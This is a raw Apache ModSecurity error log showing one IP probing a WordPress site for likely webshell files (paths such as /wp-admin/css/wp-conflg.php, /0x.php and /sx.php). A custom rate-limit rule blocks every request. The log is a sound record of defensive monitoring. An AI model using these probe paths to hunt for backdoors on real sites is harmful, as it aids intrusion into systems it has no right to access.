[Fri Dec 26 21:15:11.662734 2025] [:error] [pid 28269:tid 28317] [client 52.175.121.6:6492] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU6KX53ZK8bJ-c9-kjOKAgAAAE8"]
[Fri Dec 26 21:15:12.127599 2025] [:error] [pid 28269:tid 28311] [client 52.175.121.6:1275] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU6KYJ3ZK8bJ-c9-kjOKAwAAAEk"]
[Fri Dec 26 21:15:12.980629 2025] [:error] [pid 28270:tid 28344] [client 52.175.121.6:1961] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU6KYF9Ac79_ckdPN5JhCAAAAI8"]
[Fri Dec 26 21:15:14.567802 2025] [:error] [pid 28270:tid 28352] [client 52.175.121.6:1278] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KYl9Ac79_ckdPN5JhDAAAAJc"]
[Fri Dec 26 21:15:15.825278 2025] [:error] [pid 28355:tid 28368] [client 52.175.121.6:1248] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KY7sFqKXf7ADZcTYjuwAAAMs"]
[Fri Dec 26 21:15:18.525437 2025] [:error] [pid 28269:tid 28320] [client 52.175.121.6:3119] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KZp3ZK8bJ-c9-kjOKCgAAAFI"]
[Fri Dec 26 21:15:19.475868 2025] [:error] [pid 7160:tid 7185] [client 52.175.121.6:3086] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KZ-w_ihNZR5L8vEWQjgAAAZY"]
[Fri Dec 26 21:15:20.679723 2025] [:error] [pid 15063:tid 15067] [client 52.175.121.6:2113] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aU6KaODsf_aL46Jy7z8bRAAAAQI"]
[Fri Dec 26 21:15:23.091081 2025] [:error] [pid 28270:tid 28348] [client 52.175.121.6:6519] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aU6Ka19Ac79_ckdPN5JhEwAAAJM"]
[Fri Dec 26 21:15:24.421760 2025] [:error] [pid 28268:tid 28293] [client 52.175.121.6:2146] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aU6KbHc_KuO_55-uPTS8KgAAABI"]
[Fri Dec 26 21:15:26.163869 2025] [:error] [pid 7160:tid 7168] [client 52.175.121.6:3864] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aU6Kbuw_ihNZR5L8vEWQkgAAAYU"]
[Fri Dec 26 21:15:27.414888 2025] [:error] [pid 28355:tid 28358] [client 52.175.121.6:2563] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aU6Kb7sFqKXf7ADZcTYjxAAAAME"]
[Fri Dec 26 21:15:28.537701 2025] [:error] [pid 34865:tid 34874] [client 52.175.121.6:3861] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aU6KcKi4zjVVKBdvuTT2FwAAAUc"]
[Fri Dec 26 21:15:30.137151 2025] [:error] [pid 28270:tid 28338] [client 52.175.121.6:1565] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aU6Kcl9Ac79_ckdPN5JhGQAAAIk"]
[Fri Dec 26 21:15:30.863732 2025] [:error] [pid 28270:tid 28335] [client 52.175.121.6:2133] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aU6Kcl9Ac79_ckdPN5JhGwAAAIY"]
[Fri Dec 26 21:15:32.449846 2025] [:error] [pid 7160:tid 7187] [client 52.175.121.6:3763] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6KdOw_ihNZR5L8vEWQlAAAAZg"]
[Fri Dec 26 21:15:34.330885 2025] [:error] [pid 7160:tid 7163] [client 52.175.121.6:3433] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6Kduw_ihNZR5L8vEWQlwAAAYA"]
[Fri Dec 26 21:15:35.191928 2025] [:error] [pid 34865:tid 34889] [client 52.175.121.6:2562] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6Kd6i4zjVVKBdvuTT2HgAAAVY"]
[Fri Dec 26 21:15:35.565406 2025] [:error] [pid 28269:tid 28304] [client 52.175.121.6:6354] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6Kd53ZK8bJ-c9-kjOKDgAAAEI"]
[Fri Dec 26 21:15:35.949850 2025] [:error] [pid 28270:tid 28347] [client 52.175.121.6:5585] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aU6Kd19Ac79_ckdPN5JhIQAAAJI"]
[Fri Dec 26 21:15:37.716320 2025] [:error] [pid 15063:tid 15076] [client 52.175.121.6:7140] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aU6KeeDsf_aL46Jy7z8bTAAAAQs"]
[Fri Dec 26 21:15:39.054269 2025] [:error] [pid 28268:tid 28293] [client 52.175.121.6:5184] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aU6Ke3c_KuO_55-uPTS8NgAAABI"]
[Fri Dec 26 21:15:40.710066 2025] [:error] [pid 28269:tid 28319] [client 52.175.121.6:3646] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aU6KfJ3ZK8bJ-c9-kjOKFQAAAFE"]
[Fri Dec 26 21:16:32.643383 2025] [:error] [pid 15063:tid 15087] [client 52.175.121.6:1809] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aU6KsODsf_aL46Jy7z8beAAAARY"]
[Fri Dec 26 21:16:34.016996 2025] [:error] [pid 28270:tid 28329] [client 52.175.121.6:1859] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aU6Ksl9Ac79_ckdPN5JhRgAAAIA"]
[Fri Dec 26 21:16:35.253931 2025] [:error] [pid 7160:tid 7178] [client 52.175.121.6:3549] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aU6Ks-w_ihNZR5L8vEWQxAAAAY8"]
[Fri Dec 26 21:16:36.004711 2025] [:error] [pid 28270:tid 28333] [client 52.175.121.6:4550] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aU6KtF9Ac79_ckdPN5JhSgAAAIQ"]
[Fri Dec 26 21:16:36.380944 2025] [:error] [pid 28270:tid 28331] [client 52.175.121.6:3776] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aU6KtF9Ac79_ckdPN5JhTAAAAII"]
[Fri Dec 26 21:16:36.743387 2025] [:error] [pid 7160:tid 7168] [client 52.175.121.6:4575] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aU6KtOw_ihNZR5L8vEWQxwAAAYU"]
[Fri Dec 26 21:16:37.052473 2025] [:error] [pid 34865:tid 34872] [client 52.175.121.6:3564] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aU6Ktai4zjVVKBdvuTT2RwAAAUU"]
[Fri Dec 26 21:16:37.467078 2025] [:error] [pid 28355:tid 28360] [client 52.175.121.6:1860] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aU6KtbsFqKXf7ADZcTYj6AAAAMM"]
[Fri Dec 26 21:16:38.685280 2025] [:error] [pid 34865:tid 34885] [client 52.175.121.6:2349] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aU6Ktqi4zjVVKBdvuTT2SgAAAVI"]
[Fri Dec 26 21:16:39.717427 2025] [:error] [pid 28268:tid 28299] [client 52.175.121.6:4072] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aU6Kt3c_KuO_55-uPTS8YwAAABg"]
[Fri Dec 26 21:16:40.983147 2025] [:error] [pid 28355:tid 28377] [client 52.175.121.6:1623] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aU6KuLsFqKXf7ADZcTYj7gAAANQ"]
[Fri Dec 26 21:16:42.568947 2025] [:error] [pid 28270:tid 28350] [client 52.175.121.6:4064] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aU6Kul9Ac79_ckdPN5JhUgAAAJU"]
[Fri Dec 26 21:16:46.222141 2025] [:error] [pid 28269:tid 28314] [client 52.175.121.6:2443] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU6Kvp3ZK8bJ-c9-kjOKVAAAAEw"]
[Fri Dec 26 21:16:46.725202 2025] [:error] [pid 15063:tid 15087] [client 52.175.121.6:4987] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU6KvuDsf_aL46Jy7z8bhAAAARY"]
[Fri Dec 26 21:16:47.053299 2025] [:error] [pid 15063:tid 15072] [client 52.175.121.6:4059] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU6Kv-Dsf_aL46Jy7z8bhQAAAQc"]
[Fri Dec 26 21:16:48.549102 2025] [:error] [pid 28270:tid 28341] [client 52.175.121.6:2484] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU6KwF9Ac79_ckdPN5JhVQAAAIw"]
[Fri Dec 26 21:16:51.674678 2025] [:error] [pid 28269:tid 28324] [client 52.175.121.6:3009] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6Kw53ZK8bJ-c9-kjOKXAAAAFY"]
[Fri Dec 26 21:16:53.310173 2025] [:error] [pid 15063:tid 15083] [client 52.175.121.6:1522] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KxeDsf_aL46Jy7z8bjQAAARI"]
[Fri Dec 26 21:16:55.083247 2025] [:error] [pid 28269:tid 28313] [client 52.175.121.6:3019] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6Kx53ZK8bJ-c9-kjOKYAAAAEs"]
[Fri Dec 26 21:16:56.269149 2025] [:error] [pid 28355:tid 28370] [client 52.175.121.6:7200] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aU6KyLsFqKXf7ADZcTYj-wAAAM0"]
[Fri Dec 26 21:16:57.296515 2025] [:error] [pid 7160:tid 7173] [client 52.175.121.6:1049] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU6Kyew_ihNZR5L8vEWQ3QAAAYo"]
[Fri Dec 26 21:16:58.026648 2025] [:error] [pid 28268:tid 28276] [client 52.175.121.6:4497] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU6Kync_KuO_55-uPTS8eAAAAAE"]
[Fri Dec 26 21:16:58.636793 2025] [:error] [pid 28355:tid 28372] [client 52.175.121.6:2046] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU6KyrsFqKXf7ADZcTYj_wAAAM8"]
[Fri Dec 26 21:16:59.087114 2025] [:error] [pid 28355:tid 28358] [client 52.175.121.6:5702] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU6Ky7sFqKXf7ADZcTYkAQAAAME"]
[Fri Dec 26 21:16:59.725454 2025] [:error] [pid 7160:tid 7176] [client 52.175.121.6:1828] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU6Ky-w_ihNZR5L8vEWQ3wAAAY0"]
[Fri Dec 26 21:17:00.528698 2025] [:error] [pid 28269:tid 28308] [client 52.175.121.6:5204] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU6KzJ3ZK8bJ-c9-kjOKYQAAAEY"]
[Fri Dec 26 21:17:01.763639 2025] [:error] [pid 28270:tid 28348] [client 52.175.121.6:1822] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU6KzV9Ac79_ckdPN5JhXwAAAJM"]
[Fri Dec 26 21:17:03.949808 2025] [:error] [pid 28269:tid 28324] [client 52.175.121.6:2143] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU6Kz53ZK8bJ-c9-kjOKZgAAAFY"]
[Fri Dec 26 21:17:05.228800 2025] [:error] [pid 28269:tid 28318] [client 52.175.121.6:1932] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU6K0Z3ZK8bJ-c9-kjOKaAAAAFA"]
[Fri Dec 26 21:17:06.308478 2025] [:error] [pid 15063:tid 15071] [client 52.175.121.6:2805] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU6K0uDsf_aL46Jy7z8blAAAAQY"]
[Fri Dec 26 21:17:08.140944 2025] [:error] [pid 34865:tid 34871] [client 52.175.121.6:4261] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU6K1Ki4zjVVKBdvuTT2WgAAAUQ"]
[Fri Dec 26 21:17:09.314241 2025] [:error] [pid 34865:tid 34882] [client 52.175.121.6:5828] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU6K1ai4zjVVKBdvuTT2WwAAAU8"]
[Fri Dec 26 21:17:10.482654 2025] [:error] [pid 7160:tid 7186] [client 52.175.121.6:6130] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU6K1uw_ihNZR5L8vEWQ5QAAAZc"]
